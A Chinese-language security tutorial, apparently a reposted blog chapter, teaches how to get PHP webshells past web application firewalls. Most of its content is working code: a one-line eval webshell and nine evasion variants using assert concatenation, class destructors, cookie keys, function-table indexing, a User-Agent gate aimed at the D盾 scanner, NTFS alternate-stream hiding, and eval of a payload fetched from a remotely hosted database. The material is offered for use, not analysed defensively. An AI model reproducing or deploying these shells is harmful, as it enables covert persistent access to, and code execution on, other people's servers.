zoukankan      html  css  js  c++  java
  • 网络安全从入门到精通(第九章-6) Bypass

    本文内容:

    • WAF检测机制
    • 常见绕过手法

    1,WAF检测机制:

      常见的一句话木马:<?php @eval($_REQUEST['a'])?>

      WAF最直接的检测就是正则匹配,当遇到拦截时,就应该考虑它是怎么拦截的,匹配的是什么?

      将代码一点一点书写,看是那个部分被匹配,导致被拦截。

      如:拦截的是$_REQUEST[]那么传参就可以尝试一下不出现中括号行不行。

      更改成:

        <?php @eval (end($_REQUEST));?>

        使用一个函数end,代替[],end函数的意义:输出数据中的当前元素和最后一个元素的值,这里就一个,所有就是输入当前元素值,唯一缺点:无密码。

    2,常见绕过手法:

      1.通过常量定义:

        如:

         <?php define("a","$_REQUEST[a]");eval(a);?> 

      2.通过字符串拼接+双美元符号:

        如:  

          <?php
          $a='ass';
          $b=ert;
          $funcName=$a.$b;
          $x='funcName';
          $$x($_REQUEST['a']);
          ?>
          $assert($_REQUEST[1]); assert类似于eavl
          为什么要用assert,因为php中eval不能拼接执行(规定)

      3.通过函数定义强行分离:   

        如:

          <?php
          fuction a($a){
          return $a;}
          eval(a($_REQUEST)['a']); 强行分隔$_REQUEST['a']
          ?>

      4.通过类定义,然后传参强行分隔:  

        如:  

          <?php
          class User{
          public $name='';
          function __destruct(){
          eval("$this->name");
          }
          }
          $user=new User;
          $user->name=''.$_REQUEST['a'];
          ?>

      5.多方式传参免杀:

        如:   

          <?php
          $COOKIE=$_COOKIE;
          foreach($COOKIE as $key=>$value){
          if($key=='assert'){
          $key($_REQUEST['a']);
          }
          }
          ?>
          需要对cookie传参

      6.通过所有函数,二维数组调用免杀:

        如:  

          <?php
          $a=get_defined_functions();
          $a['internal'][841]($_REQUEST['a']);
          ?>
          通过二位数组,数组,键,值。

      7.绕D盾:

        如:

          <?php
          if($_SERVER['HTTP_USER_AGENT']==='1'){
          eval (end($_REQUEST));}?>
          需要抓包将USER_AGENT改为1

      8.得到shell,藏shell:NTFS文件流,寄存:

        如:  

          echo abcd>>a.txt:b.txt 将abcd写入a.txt:b.txt,很明显生成一个a.txt,将b.txt寄宿到a.txt文件上。
          任意文件存放,访问即可
          <?php include('/:123.txt')?>
          藏shall,将获取的shall藏到[寄存]/文件里
          echo"<?php eval($_REQUEST['a']);?>">>/:123.txt
          dir也查询不到
          安全狗检测不出,D盾爆出可疑
          只有windows里可以用。

      9.终极大法:

        如:

          <?php
          eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('127.0.0.1','root','root','database'),'select * from table_name'))['column_name']);
          ?>

        通过连接数据,执行数据库,查询info表里,info字段,只能查询一条数据,所以第一条数据要放一句话木马:<?php @eval($_REQUEST['a'])?>

        让服务器去连接读取我们放在公网的数据库的内容,可以使用香港云、虚拟主机等。

  • 相关阅读:
    hihoCoder #1176 : 欧拉路·一 (简单)
    228 Summary Ranges 汇总区间
    227 Basic Calculator II 基本计算器II
    226 Invert Binary Tree 翻转二叉树
    225 Implement Stack using Queues 队列实现栈
    224 Basic Calculator 基本计算器
    223 Rectangle Area 矩形面积
    222 Count Complete Tree Nodes 完全二叉树的节点个数
    221 Maximal Square 最大正方形
    220 Contains Duplicate III 存在重复 III
  • 原文地址:https://www.cnblogs.com/xz25/p/12775425.html
Copyright © 2011-2022 走看看